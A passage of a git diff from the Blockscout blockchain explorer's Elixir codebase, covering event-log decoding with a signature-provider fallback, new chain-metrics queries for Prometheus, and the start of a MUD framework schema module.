unquote_splicing(@transaction_field) + end + end + end +end + defmodule Explorer.Chain.Log do @moduledoc "Captures a Web3 log entry generated by a transaction" use Explorer.Schema + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + require Explorer.Chain.Log.Schema require Logger alias ABI.{Event, FunctionSelector} alias Explorer.{Chain, Repo} - alias Explorer.Chain.{Address, Block, ContractMethod, Data, Hash, Transaction} + alias Explorer.Chain.{ContractMethod, Hash, Log, TokenTransfer, Transaction} + alias Explorer.SmartContract.SigProviderInterface + + @required_attrs ~w(address_hash data block_hash index)a + |> (&(case @chain_type do + :celo -> + &1 + + _ -> + [:transaction_hash | &1] + end)).() - @required_attrs ~w(address_hash data block_hash index transaction_hash)a - @optional_attrs ~w(first_topic second_topic third_topic fourth_topic type block_number)a + @optional_attrs ~w(first_topic second_topic third_topic fourth_topic block_number)a + |> (&(case @chain_type do + :celo -> + [:transaction_hash | &1] + + _ -> + &1 + end)).() @typedoc """ * `address` - address of contract that generate the event @@ -24,58 +120,12 @@ defmodule Explorer.Chain.Log do * `fourth_topic` - `topics[3]` * `transaction` - transaction for which `log` is * `transaction_hash` - foreign key for `transaction`. - * `index` - index of the log entry in all logs for the `transaction` - * `type` - type of event. *Parity-only* + * `index` - index of the log entry within the block """ - @type t :: %__MODULE__{ - address: %Ecto.Association.NotLoaded{} | Address.t(), - address_hash: Hash.Address.t(), - block_hash: Hash.Full.t(), - block_number: non_neg_integer() | nil, - data: Data.t(), - first_topic: String.t(), - second_topic: String.t(), - third_topic: String.t(), - fourth_topic: String.t(), - transaction: %Ecto.Association.NotLoaded{} | Transaction.t(), - transaction_hash: Hash.Full.t(), - index: non_neg_integer(), - type: String.t() | nil - } - - @primary_key false - schema "logs" do - field(:data, Data) - field(:first_topic, :string) - field(:second_topic, :string) - field(:third_topic, :string) - field(:fourth_topic, :string) - field(:index, :integer, primary_key: true) - field(:type, :string) - field(:block_number, :integer) - - timestamps() - - belongs_to(:address, Address, foreign_key: :address_hash, references: :hash, type: Hash.Address) - - belongs_to(:transaction, Transaction, - foreign_key: :transaction_hash, - primary_key: true, - references: :hash, - type: Hash.Full - ) - - belongs_to(:block, Block, - foreign_key: :block_hash, - primary_key: true, - references: :hash, - type: Hash.Full - ) - end + Explorer.Chain.Log.Schema.generate() @doc """ - `address_hash` and `transaction_hash` are converted to `t:Explorer.Chain.Hash.t/0`. The allowed values for `type` - are currently unknown, so it is left as a `t:String.t/0`. + `address_hash` and `transaction_hash` are converted to `t:Explorer.Chain.Hash.t/0`. iex> changeset = Explorer.Chain.Log.changeset( ...> %Explorer.Chain.Log{}, @@ -88,8 +138,7 @@ defmodule Explorer.Chain.Log do ...> index: 0, ...> second_topic: nil, ...> third_topic: nil, - ...> transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", - ...> type: "mined" + ...> transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5" ...> } ...> ) iex> changeset.valid? @@ -105,8 +154,6 @@ defmodule Explorer.Chain.Log do bytes: <<83, 189, 136, 72, 114, 222, 62, 72, 134, 146, 136, 27, 174, 236, 38, 46, 123, 149, 35, 77, 57, 101, 36, 140, 57, 254, 153, 47, 255, 212, 51, 229>> } - iex> changeset.changes.type - "mined" """ def changeset(%__MODULE__{} = log, attrs \\ %{}) do @@ -119,74 +166,109 @@ defmodule Explorer.Chain.Log do @doc """ Decode transaction log data. """ + @spec decode(Log.t(), Transaction.t(), any(), boolean(), boolean(), list(), map()) :: + {{:ok, String.t(), String.t(), map()} + | {:error, :could_not_decode} + | {:error, atom(), list()} + | {{:error, :contract_not_verified | :try_with_sig_provider, [any()]}, any()}, map()} + def decode( + log, + transaction, + db_options, + skip_sig_provider?, + decoding_from_list?, + full_abi, + events_acc \\ %{} + ) do + with {:no_abi, false} <- {:no_abi, is_nil(full_abi)}, + {:ok, selector, mapping} <- find_and_decode(full_abi, log, transaction.hash), + identifier <- Base.encode16(selector.method_id, case: :lower), + text <- function_call(selector.function, mapping) do + {{:ok, identifier, text, mapping}, events_acc} + else + {:error, _} = error -> + handle_method_decode_error( + error, + log, + transaction, + skip_sig_provider?, + decoding_from_list?, + db_options, + events_acc + ) + + {:no_abi, true} -> + handle_method_decode_error( + {:error, :could_not_decode}, + log, + transaction, + skip_sig_provider?, + decoding_from_list?, + db_options, + events_acc + ) + end + end - def decode(log, transaction) do - address_options = [ - necessity_by_association: %{ - :smart_contract => :optional - } - ] - - case Chain.find_contract_address(log.address_hash, address_options, true) do - {:ok, %{smart_contract: %{abi: abi}}} -> - full_abi = Chain.combine_proxy_implementation_abi(log.address_hash, abi) - - with {:ok, selector, mapping} <- find_and_decode(full_abi, log, transaction), - identifier <- Base.encode16(selector.method_id, case: :lower), - text <- function_call(selector.function, mapping) do - {:ok, identifier, text, mapping} + defp handle_method_decode_error( + error, + log, + transaction, + skip_sig_provider?, + decoding_from_list?, + db_options, + events_acc + ) do + case error do + {:error, _reason} -> + with {{:error, :contract_not_verified, candidates}, events_acc} <- + find_method_candidates(log, transaction, db_options, events_acc), + {true, events_acc} <- {is_list(candidates), events_acc}, + {false, events_acc} <- {Enum.empty?(candidates), events_acc} do + {{:error, :contract_not_verified, candidates}, events_acc} else - {:error, :could_not_decode} -> - case find_candidates(log, transaction) do - {:error, :contract_not_verified, []} -> - {:error, :could_not_decode} - - {:error, :contract_not_verified, candidates} -> - {:error, :contract_verified, candidates} - - _ -> - {:error, :could_not_decode} - end - - output -> - output + {_, events_acc} -> + result = + if decoding_from_list? do + mark_events_to_decode_later_via_sig_provider_in_batch(log, transaction.hash) + else + decode_event_via_sig_provider(log, transaction.hash, skip_sig_provider?) + end + + {result, events_acc} end - - _ -> - find_candidates(log, transaction) end end - defp find_candidates(log, transaction) do - case log.first_topic do - "0x" <> hex_part -> - case Integer.parse(hex_part, 16) do - {number, ""} -> - <> = :binary.encode_unsigned(number) - find_candidates_query(method_id, log, transaction) - - _ -> - {:error, :could_not_decode} - end - - _ -> - {:error, :could_not_decode} + defp find_method_candidates(log, transaction, options, events_acc) do + if is_nil(log.first_topic) do + {{:error, :could_not_decode}, events_acc} + else + <> = log.first_topic.bytes + + if Map.has_key?(events_acc, method_id) do + {find_and_decode_in_candidates(events_acc[method_id], log, transaction), events_acc} + else + {result, event_candidates} = find_method_candidates_from_db(method_id, log, transaction, options) + {result, Map.put(events_acc, method_id, event_candidates)} + end end end - defp find_candidates_query(method_id, log, transaction) do - candidates_query = - from( - contract_method in ContractMethod, - where: contract_method.identifier == ^method_id, - limit: 3 - ) + defp find_method_candidates_from_db(method_id, log, transaction, options) do + event_candidates = + method_id + |> ContractMethod.find_contract_method_query(3) + |> Chain.select_repo(options).all() - candidates = - candidates_query - |> Repo.all() + {find_and_decode_in_candidates(event_candidates, log, transaction), event_candidates} + end + + defp find_and_decode_in_candidates(event_candidates, log, transaction) do + result = + event_candidates |> Enum.flat_map(fn contract_method -> - case find_and_decode([contract_method.abi], log, transaction) do + case find_and_decode([contract_method.abi], log, transaction.hash) do {:ok, selector, mapping} -> identifier = Base.encode16(selector.method_id, case: :lower) text = function_call(selector.function, mapping) @@ -199,25 +281,37 @@ defmodule Explorer.Chain.Log do end) |> Enum.take(1) - {:error, :contract_not_verified, candidates} + {:error, :contract_not_verified, result} end - defp find_and_decode(abi, log, transaction) do - with {%FunctionSelector{} = selector, mapping} <- + @spec find_and_decode([map()], __MODULE__.t(), Hash.t()) :: + {:error, any} | {:ok, ABI.FunctionSelector.t(), any} + def find_and_decode(abi, log, transaction_hash) do + # For events, the method_id (signature) is 32 bytes, whereas for methods and + # errors it is 4 bytes. To avoid complications with different sizes, we + # always take only the first 4 bytes of the hash. + with {%FunctionSelector{method_id: <>} = selector, mapping} <- abi |> ABI.parse_specification(include_events?: true) |> Event.find_and_decode( - decode16!(log.first_topic), - decode16!(log.second_topic), - decode16!(log.third_topic), - decode16!(log.fourth_topic), + log.first_topic && log.first_topic.bytes, + log.second_topic && log.second_topic.bytes, + log.third_topic && log.third_topic.bytes, + log.fourth_topic && log.fourth_topic.bytes, log.data.bytes - ) do - {:ok, selector, mapping} + ), + selector <- %FunctionSelector{selector | method_id: first_four_bytes} do + {:ok, alter_inputs_names(selector), alter_mapping_names(mapping)} end rescue - _ -> - Logger.warn(fn -> ["Could not decode input data for log from transaction: ", Hash.to_iodata(transaction.hash)] end) + e -> + Logger.warning(fn -> + [ + "Could not decode input data for log from transaction hash: ", + Hash.to_iodata(transaction_hash), + Exception.format(:error, e, __STACKTRACE__) + ] + end) {:error, :could_not_decode} end @@ -226,12 +320,7 @@ defmodule Explorer.Chain.Log do text = mapping |> Stream.map(fn {name, type, indexed?, _value} -> - indexed_keyword = - if indexed? do - ["indexed "] - else - [] - end + indexed_keyword = if indexed?, do: ["indexed "], else: [] [type, " ", indexed_keyword, name] end) @@ -240,11 +329,259 @@ defmodule Explorer.Chain.Log do IO.iodata_to_binary([name, "(", text, ")"]) end - def decode16!(nil), do: nil + defp alter_inputs_names(%FunctionSelector{input_names: names} = selector) do + names = + names + |> Enum.with_index() + |> Enum.map(fn {name, index} -> + if name == "", do: "arg#{index}", else: name + end) + + %FunctionSelector{selector | input_names: names} + end + + defp alter_mapping_names(mapping) when is_list(mapping) do + mapping + |> Enum.with_index() + |> Enum.map(fn {{name, type, indexed?, value}, index} -> + name = if name == "", do: "arg#{index}", else: name + {name, type, indexed?, value} + end) + end + + defp alter_mapping_names(mapping), do: mapping + + defp mark_events_to_decode_later_via_sig_provider_in_batch( + log, + transaction_hash + ) do + {:error, :try_with_sig_provider, {log, transaction_hash}} + end + + @doc """ + Decodes an event log using the Sig-provider microservice. + + ## Parameters + + - `log`: The log containing the event data and topics. + - `transaction_hash`: The hash of the transaction containing the log. + - `skip_sig_provider?`: A boolean indicating whether to skip using the signature provider. + + ## Returns + + - `{:error, :contract_not_verified, [{:ok, identifier, text, mapping}]}` if the event is successfully decoded but the contract is not verified. + - `{:error, :could_not_decode}` if the event could not be decoded. + + ## Conditions + + - The signature provider must be enabled. + - The `skip_sig_provider?` flag must be `false`. + - The result from the signature provider must be a non-empty list. + """ + @spec decode_event_via_sig_provider( + __MODULE__.t(), + Hash.t(), + boolean() + ) :: + {:error, :could_not_decode} | {:error, :contract_not_verified, list()} + def decode_event_via_sig_provider( + log, + transaction_hash, + skip_sig_provider? + ) do + with true <- SigProviderInterface.enabled?(), + false <- skip_sig_provider?, + false <- is_nil(log.first_topic), + {:ok, result} <- + SigProviderInterface.decode_event( + [ + log.first_topic, + log.second_topic, + log.third_topic, + log.fourth_topic + ], + log.data + ), + true <- is_list(result), + false <- Enum.empty?(result), + abi <- [result |> List.first() |> Map.put("type", "event")], + {:ok, selector, mapping} <- find_and_decode(abi, log, transaction_hash), + identifier <- Base.encode16(selector.method_id, case: :lower), + text <- function_call(selector.function, mapping) do + {:error, :contract_not_verified, [{:ok, identifier, text, mapping}]} + else + _ -> + {:error, :could_not_decode} + end + end + + @doc """ + Decodes a batch of events using the Sig-provider microservice. + + This function attempts to decode a batch of events by leveraging the signature provider interface. + It first checks if the signature provider is enabled and if it should not be skipped. + If these conditions are met, it prepares the input for the signature provider batch request and decodes the events. + The decoded results are then processed and mapped to their corresponding logs and transaction hashes. + + ## Parameters + + - `input`: The input data to be decoded, expected to be a list of maps containing `:log` and `:transaction_hash`. + - `skip_sig_provider?`: A boolean flag indicating whether to skip the signature provider. + + ## Returns + + - On success: A list of tuples containing the decoded event information. + - On failure: `{:error, :could_not_decode}` if the decoding process fails at any step. + """ + @spec decode_events_batch_via_sig_provider( + [ + %{ + :log => __MODULE__.t(), + :transaction_hash => Hash.t() + } + ], + boolean() + ) :: + {:error, :contract_not_verified, list()} | list() + def decode_events_batch_via_sig_provider([], _skip_sig_provider?), do: [] + + def decode_events_batch_via_sig_provider(input, skip_sig_provider?) do + with true <- SigProviderInterface.enabled?(), + false <- skip_sig_provider?, + {:ok, result} <- + SigProviderInterface.decode_events_in_batch(prepare_input_for_sig_provider_batch_request(input)), + true <- is_list(result), + false <- Enum.empty?(result) do + input + |> Enum.zip(result) + |> Enum.map(fn {{index, + %{ + :log => log, + :transaction_hash => transaction_hash + }}, %{"abi" => abi}} -> + abi_first_item = abi |> List.first() + + if is_map(abi_first_item) do + abi = [abi_first_item |> Map.put("type", "event")] + + {:ok, selector, mapping} = find_and_decode(abi, log, transaction_hash) + + identifier = Base.encode16(selector.method_id, case: :lower) + text = function_call(selector.function, mapping) + + {index, {:error, :contract_not_verified, [{:ok, identifier, text, mapping}]}} + else + {index, {:error, :could_not_decode}} + end + end) + else + _ -> + input + |> Enum.map(fn {index, _} -> {index, {:error, :could_not_decode}} end) + end + end + + defp prepare_input_for_sig_provider_batch_request(input) do + input + |> Enum.map(fn {_index, %{:log => log, :transaction_hash => _transaction_hash}} -> + topics = [ + log.first_topic, + log.second_topic, + log.third_topic, + log.fourth_topic + ] + + formatted_topics = + topics |> Enum.reject(&is_nil/1) |> Enum.join(",") + + %{ + :topics => formatted_topics, + :data => to_string(log.data) + } + end) + end + + def fetch_log_by_transaction_hash_and_first_topic(transaction_hash, first_topic, options \\ []) do + __MODULE__ + |> where([l], l.transaction_hash == ^transaction_hash and l.first_topic == ^first_topic) + |> limit(1) + |> Chain.select_repo(options).one() + end + + @doc """ + Fetches logs by user operation. + """ + @spec user_op_to_logs(map(), Keyword.t()) :: [t()] + def user_op_to_logs(user_op, options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + limit = Keyword.get(options, :limit, 50) + + __MODULE__ + |> where([log], log.block_hash == ^user_op["block_hash"] and log.transaction_hash == ^user_op["transaction_hash"]) + |> where([log], log.index >= ^user_op["user_logs_start_index"]) + |> order_by([log], asc: log.index) + |> limit(^min(user_op["user_logs_count"], limit)) + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).all() + end + + @doc """ + Streams unfetched WETH token transfers. + Returns `{:ok, any()} | {:error, any()}` (return spec taken from Ecto.Repo.transaction/2) + Expects each_fun, a function to be called on each fetched log. It should accept log and return anything (return value will be discarded anyway) + """ + @spec stream_unfetched_weth_token_transfers((Log.t() -> any())) :: {:ok, any()} | {:error, any()} + def stream_unfetched_weth_token_transfers(each_fun) do + env = Application.get_env(:explorer, Explorer.Chain.TokenTransfer) + + base_query = from(log in __MODULE__, as: :log) + + base_query + |> where([log], log.address_hash in ^env[:whitelisted_weth_contracts]) + |> where(^first_topic_is_deposit_or_withdrawal_signature()) + |> join(:left, [log], tt in TokenTransfer, + on: log.block_hash == tt.block_hash and log.transaction_hash == tt.transaction_hash and log.index == tt.log_index + ) + |> where([log, tt], is_nil(tt.transaction_hash)) + |> select([log], log) + |> Repo.stream_each(each_fun) + end + + @doc """ + Generates a dynamic query condition to check if the `first_topic` of a log entry + matches either the WETH deposit or withdrawal signature. - def decode16!(value) do - value - |> String.trim_leading("0x") - |> Base.decode16!(case: :lower) + This function is typically used to filter logs where the first topic corresponds + to specific token transfer events, such as WETH deposits or withdrawals. + + ## Returns + + - An `Ecto.Query.dynamic()` expression that can be used in Ecto queries. + """ + @spec first_topic_is_deposit_or_withdrawal_signature() :: Ecto.Query.dynamic_expr() + def first_topic_is_deposit_or_withdrawal_signature do + dynamic( + [log: log], + log.first_topic in [^TokenTransfer.weth_deposit_signature(), ^TokenTransfer.weth_withdrawal_signature()] + ) + end + + @doc """ + Generates a dynamic query condition to filter logs where the `first_topic` + is neither the WETH deposit signature nor the WETH withdrawal signature. + + This function is useful for excluding specific types of token transfer events + from query results. + + ## Returns + + - An `Ecto.Query.dynamic/1` expression that can be used in Ecto queries. + """ + @spec first_topic_is_not_deposit_or_withdrawal_signature() :: Ecto.Query.dynamic_expr() + def first_topic_is_not_deposit_or_withdrawal_signature do + dynamic( + [log: log], + log.first_topic not in [^TokenTransfer.weth_deposit_signature(), ^TokenTransfer.weth_withdrawal_signature()] + ) end end diff --git a/apps/explorer/lib/explorer/chain/map_cache.ex b/apps/explorer/lib/explorer/chain/map_cache.ex index d50a4c5e4476..fbe38db6bbca 100644 --- a/apps/explorer/lib/explorer/chain/map_cache.ex +++ b/apps/explorer/lib/explorer/chain/map_cache.ex @@ -28,7 +28,7 @@ defmodule Explorer.Chain.MapCache do ## Callbacks Apart from the `callback` that can be set as part of the `ConCache` options, - two callbacks esist and can be overridden: + two callbacks exist and can be overridden: `c:handle_update/3` will be called whenever an update is issued. It will receive the `t:key/0` that is going to be updated, the current `t:value/0` that is @@ -201,6 +201,35 @@ defmodule Explorer.Chain.MapCache do end end + defp named_functions(:async_task) do + quote do + def get_async_task, do: get(:async_task) + + @doc """ + Checks if the asynchronous task has stalled (has finished, but still in cache), + and if so, creates a new replacement task to continue the operation. + """ + def safe_get_async_task do + case get_async_task() do + pid when is_pid(pid) -> + if Process.alive?(pid) do + pid + else + set_async_task(nil) + get_async_task() + end + + not_pid -> + not_pid + end + end + + def set_async_task(value), do: set(:async_task, value) + + def update_async_task(value), do: update(:async_task, value) + end + end + # sobelow_skip ["DOS"] defp named_functions(key) do quote do diff --git a/apps/explorer/lib/explorer/chain/method_identifier.ex b/apps/explorer/lib/explorer/chain/method_identifier.ex index e6097b59d941..41ec6e3a167f 100644 --- a/apps/explorer/lib/explorer/chain/method_identifier.ex +++ b/apps/explorer/lib/explorer/chain/method_identifier.ex @@ -7,7 +7,9 @@ defmodule Explorer.Chain.MethodIdentifier do use Ecto.Type - @type t :: binary + alias Explorer.Chain.Data + + @type t :: Data.t() @impl true def type, do: :integer @@ -15,12 +17,16 @@ defmodule Explorer.Chain.MethodIdentifier do @impl true @spec load(integer) :: {:ok, t()} def load(value) do - {:ok, <>} + {:ok, %Data{bytes: <>}} end @impl true @spec cast(binary) :: {:ok, t()} | :error def cast(<<_::binary-size(4)>> = identifier) do + {:ok, %Data{bytes: identifier}} + end + + def cast(%Data{bytes: <<_::binary-size(4)>>} = identifier) do {:ok, identifier} end @@ -28,7 +34,7 @@ defmodule Explorer.Chain.MethodIdentifier do @impl true @spec dump(t()) :: {:ok, integer} | :error - def dump(<>) do + def dump(%Data{bytes: <>}) do {:ok, num} end diff --git a/apps/explorer/lib/explorer/chain/metrics.ex b/apps/explorer/lib/explorer/chain/metrics.ex new file mode 100644 index 000000000000..b90e925e42d0 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/metrics.ex @@ -0,0 +1,83 @@ +defmodule Explorer.Chain.Metrics do + @moduledoc """ + Module responsible for periodically setting current chain metrics. + """ + + use GenServer + + import Explorer.Chain, only: [select_repo: 1] + + alias Explorer.Chain.Metrics.Queries + alias Explorer.Prometheus.Instrumenter + + @interval :timer.hours(1) + @options [timeout: 60_000, api?: true] + @metrics_list [ + :success_transactions_number, + :deployed_smart_contracts_number, + :verified_smart_contracts_number, + :new_addresses_number, + :new_tokens_number, + :new_token_transfers_number, + :simplified_active_addresses_number + ] + + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + def init(_) do + if Application.get_env(:explorer, __MODULE__)[:enabled] do + send(self(), :set_metrics) + {:ok, %{}} + else + :ignore + end + end + + def handle_info(:set_metrics, state) do + schedule_next_run() + set_metrics() + + {:noreply, state} + end + + defp set_metrics do + @metrics_list + |> Enum.map(fn metric -> + Task.async(fn -> + set_handler_metric(metric) + end) + end) + |> Task.yield_many(:timer.hours(1)) + |> Enum.map(fn {_task, res} -> + case res do + {:ok, result} -> + result + + {:exit, reason} -> + raise "Query fetching explorer & chain metrics terminated: #{inspect(reason)}" + + nil -> + raise "Query fetching explorer & chain metrics timed out." + end + end) + end + + # sobelow_skip ["DOS.StringToAtom"] + defp set_handler_metric(metric) do + func = String.to_atom(to_string(metric) <> "_query") + + transactions_count = + Queries + |> apply(func, []) + |> select_repo(@options).one() + + apply(Instrumenter, metric, [transactions_count]) + end + + defp schedule_next_run do + Process.send_after(self(), :set_metrics, @interval) + end +end diff --git a/apps/explorer/lib/explorer/chain/metrics/queries.ex b/apps/explorer/lib/explorer/chain/metrics/queries.ex new file mode 100644 index 000000000000..927f762ce428 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/metrics/queries.ex @@ -0,0 +1,273 @@ +defmodule Explorer.Chain.Metrics.Queries do + @moduledoc """ + Module for DB queries to get chain metrics exposed at /public-metrics endpoint + """ + + import Ecto.Query, + only: [ + distinct: 2, + from: 2, + join: 4, + join: 5, + select: 3, + subquery: 1, + union: 2, + where: 3 + ] + + import Explorer.Chain, only: [wrapped_union_subquery: 1] + + alias Explorer.Chain.{ + Address, + Block, + DenormalizationHelper, + InternalTransaction, + SmartContract, + Token, + TokenTransfer, + Transaction + } + + @doc """ + Retrieves the query for fetching the number of successful transactions in a week. + """ + @spec success_transactions_number_query() :: Ecto.Query.t() + def success_transactions_number_query do + if DenormalizationHelper.transactions_denormalization_finished?() do + Transaction + |> where([transaction], transaction.block_timestamp >= ago(^update_period_hours(), "hour")) + |> where([transaction], transaction.block_consensus == true) + |> where([transaction], transaction.status == ^1) + |> select([transaction], count(transaction.hash)) + else + Transaction + |> join(:inner, [transaction], block in assoc(transaction, :block)) + |> where([transaction, block], block.timestamp >= ago(^update_period_hours(), "hour")) + |> where([transaction, block], block.consensus == true) + |> where([transaction, block], transaction.status == ^1) + |> select([transaction, block], count(transaction.hash)) + end + end + + @doc """ + Retrieves the query for the number of smart contracts deployed in the current week. + """ + @spec deployed_smart_contracts_number_query() :: Ecto.Query.t() + def deployed_smart_contracts_number_query do + transactions_query = + if DenormalizationHelper.transactions_denormalization_finished?() do + Transaction + |> where([transaction], not is_nil(transaction.created_contract_address_hash)) + |> where([transaction], transaction.block_timestamp >= ago(^update_period_hours(), "hour")) + |> where([transaction], transaction.block_consensus == true) + |> where([transaction], transaction.status == ^1) + |> select([transaction], transaction.created_contract_address_hash) + else + Transaction + |> join(:inner, [transaction], block in assoc(transaction, :block)) + |> where([transaction], not is_nil(transaction.created_contract_address_hash)) + |> where([transaction, block], block.consensus == true) + |> where([transaction, block], block.timestamp >= ago(^update_period_hours(), "hour")) + |> where([transaction, block], transaction.status == ^1) + |> select([transaction, block], transaction.created_contract_address_hash) + end + + # todo: this part is too slow, need to optimize + # internal_transactions_query = + # InternalTransaction + # |> join(:inner, [it], transaction in assoc(it, :transaction)) + # |> where([it, transaction], not is_nil(it.created_contract_address_hash)) + # |> where([it, transaction], transaction.block_timestamp >= ago(^update_period_hours(), "hour")) + # |> where([it, transaction], transaction.block_consensus == true) + # |> where([it, transaction], transaction.status == ^1) + # |> select([it, transaction], it.created_contract_address_hash) + # |> wrapped_union_subquery() + + # query = + # transactions_query + # |> wrapped_union_subquery() + # |> union(^internal_transactions_query) + + from( + q in subquery(transactions_query), + select: fragment("COUNT(DISTINCT(?))", q.created_contract_address_hash) + ) + end + + @doc """ + Retrieves the query for the number of verified smart contracts in the current week. + """ + @spec verified_smart_contracts_number_query() :: Ecto.Query.t() + def verified_smart_contracts_number_query do + SmartContract + |> where([sc], sc.inserted_at >= ago(^update_period_hours(), "hour")) + |> select([sc], count(sc.address_hash)) + end + + @doc """ + Retrieves the query for the number of new addresses in the current week. + """ + @spec new_addresses_number_query() :: Ecto.Query.t() + def new_addresses_number_query do + Address + |> where([a], a.inserted_at >= ago(^update_period_hours(), "hour")) + |> select([a], count(a.hash)) + end + + @doc """ + Retrieves the query for the number of new tokens detected in the current week. + """ + @spec new_tokens_number_query() :: Ecto.Query.t() + def new_tokens_number_query do + Token + |> where([token], token.inserted_at >= ago(^update_period_hours(), "hour")) + |> select([token], count(token.contract_address_hash)) + end + + @doc """ + Retrieves the query for the number of new token transfers detected in the current week. + """ + @spec new_token_transfers_number_query() :: Ecto.Query.t() + def new_token_transfers_number_query do + TokenTransfer + |> join(:inner, [tt], block in Block, on: block.number == tt.block_number) + |> where([tt, block], block.timestamp >= ago(^update_period_hours(), "hour")) + |> where([tt, block], block.consensus == true) + |> select([tt, block], fragment("COUNT(*)")) + end + + @doc """ + Retrieves the query for the number of addresses initiated transactions in the current week. + """ + @spec simplified_active_addresses_number_query() :: Ecto.Query.t() + def simplified_active_addresses_number_query do + if DenormalizationHelper.transactions_denormalization_finished?() do + Transaction + |> where([transaction], transaction.block_timestamp >= ago(^update_period_hours(), "hour")) + |> where([transaction], transaction.block_consensus == true) + |> select([transaction], fragment("COUNT(DISTINCT(?))", transaction.from_address_hash)) + else + Transaction + |> join(:inner, [transaction], block in assoc(transaction, :block)) + |> where([transaction, block], block.timestamp >= ago(^update_period_hours(), "hour")) + |> where([transaction, block], block.consensus == true) + |> select([transaction], fragment("COUNT(DISTINCT(?))", transaction.from_address_hash)) + end + end + + @doc """ + Retrieves the query for the number of active EOA and smart-contract addresses (from/to/contract participated in transactions, internal transactions, token transfers) in the current week. + This query is currently unused since the very low performance: it doesn't return results in 1 hour. + """ + @spec active_addresses_number_query() :: Ecto.Query.t() + def active_addresses_number_query do + transactions_query = + if DenormalizationHelper.transactions_denormalization_finished?() do + Transaction + |> where([transaction], transaction.block_timestamp >= ago(^update_period_hours(), "hour")) + |> where([transaction], transaction.block_consensus == true) + |> distinct(true) + |> select([transaction], %{ + address_hash: + fragment( + "UNNEST(ARRAY[?, ?, ?])", + transaction.from_address_hash, + transaction.to_address_hash, + transaction.created_contract_address_hash + ) + }) + else + Transaction + |> join(:inner, [transaction], block in assoc(transaction, :block)) + |> where([transaction, block], block.timestamp >= ago(^update_period_hours(), "hour")) + |> where([transaction, block], block.consensus == true) + |> distinct(true) + |> select([transaction, block], %{ + address_hash: + fragment( + "UNNEST(ARRAY[?, ?, ?])", + transaction.from_address_hash, + transaction.to_address_hash, + transaction.created_contract_address_hash + ) + }) + end + + internal_transactions_query = + if DenormalizationHelper.transactions_denormalization_finished?() do + InternalTransaction + |> join(:inner, [it], transaction in assoc(it, :transaction)) + |> where([it, transaction], transaction.block_timestamp >= ago(^update_period_hours(), "hour")) + |> where([it, transaction], transaction.block_consensus == true) + |> where([it, transaction], transaction.status == ^1) + |> select([it, transaction], %{ + address_hash: + fragment( + "UNNEST(ARRAY[?, ?, ?])", + it.from_address_hash, + it.to_address_hash, + it.created_contract_address_hash + ) + }) + |> wrapped_union_subquery() + else + InternalTransaction + |> join(:inner, [it], transaction in assoc(it, :transaction)) + |> join(:inner, [transaction], block in assoc(transaction, :block)) + |> where([it, transaction, block], transaction.block_timestamp >= ago(^update_period_hours(), "hour")) + |> where([it, transaction, block], block.consensus == true) + |> where([it, transaction, block], transaction.status == ^1) + |> select([it, transaction, block], %{ + address_hash: + fragment( + "UNNEST(ARRAY[?, ?, ?])", + it.from_address_hash, + it.to_address_hash, + it.created_contract_address_hash + ) + }) + |> wrapped_union_subquery() + end + + token_transfers_query = + if DenormalizationHelper.transactions_denormalization_finished?() do + TokenTransfer + |> join(:inner, [tt], transaction in assoc(tt, :transaction)) + |> where([tt, transaction], transaction.block_timestamp >= ago(^update_period_hours(), "hour")) + |> where([tt, transaction], transaction.block_consensus == true) + |> where([tt, transaction], transaction.status == ^1) + |> select([tt, transaction], %{ + address_hash: + fragment("UNNEST(ARRAY[?, ?, ?])", tt.from_address_hash, tt.to_address_hash, tt.token_contract_address_hash) + }) + |> wrapped_union_subquery() + else + TokenTransfer + |> join(:inner, [tt], transaction in assoc(tt, :transaction)) + |> join(:inner, [transaction], block in assoc(transaction, :block)) + |> where([tt, transaction, block], transaction.block_timestamp >= ago(^update_period_hours(), "hour")) + |> where([tt, transaction, block], block.consensus == true) + |> where([tt, transaction, block], transaction.status == ^1) + |> select([tt, transaction, block], %{ + address_hash: + fragment("UNNEST(ARRAY[?, ?, ?])", tt.from_address_hash, tt.to_address_hash, tt.token_contract_address_hash) + }) + |> wrapped_union_subquery() + end + + query = + transactions_query + |> wrapped_union_subquery() + |> union(^internal_transactions_query) + |> union(^token_transfers_query) + + from( + q in subquery(query), + select: fragment("COUNT(DISTINCT ?)", q.address_hash) + ) + end + + defp update_period_hours do + Application.get_env(:explorer, Explorer.Chain.Metrics)[:update_period_hours] + end +end diff --git a/apps/explorer/lib/explorer/chain/mud.ex b/apps/explorer/lib/explorer/chain/mud.ex new file mode 100644 index 000000000000..dc70e0467285 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/mud.ex @@ -0,0 +1,648 @@ +defmodule Explorer.Chain.Mud do + @moduledoc """ + Represents a MUD framework database record. + """ + use Explorer.Schema + + import Ecto.Query, + only: [ + distinct: 2, + order_by: 3, + select: 3, + where: 3, + limit: 2, + join: 5 + ] + + alias ABI.{FunctionSelector, TypeDecoder} + alias Explorer.{Chain, PagingOptions, Repo, SortingHelper} + + alias Explorer.Chain.{ + Address, + Block, + Data, + Hash, + MethodIdentifier, + Mud, + Mud.Schema, + Mud.Schema.FieldSchema, + SmartContract + } + + require Logger + + @store_tables_table_id Base.decode16!("746273746f72650000000000000000005461626c657300000000000000000000", + case: :lower + ) + + # https://github.com/latticexyz/mud/blob/cc4f4246e52982354e398113c46442910f9b04bb/packages/store/src/codegen/tables/Tables.sol#L34-L42 + @store_tables_table_schema %Schema{ + key_schema: FieldSchema.from("0x002001005f000000000000000000000000000000000000000000000000000000"), + value_schema: FieldSchema.from("0x006003025f5f5fc4c40000000000000000000000000000000000000000000000"), + key_names: ["tableId"], + value_names: ["fieldLayout", "keySchema", "valueSchema", "abiEncodedKeyNames", "abiEncodedValueNames"] + } + + @world_system_registry_table_id Base.decode16!("7462776f726c6400000000000000000053797374656d52656769737472790000", + case: :lower + ) + + # https://github.com/latticexyz/mud/blob/5a6c03c6bc02c980ca051dadd8e20560ac25c771/packages/world/src/codegen/tables/SystemRegistry.sol#L24-L32 + @world_system_registry_schema %Schema{ + key_schema: 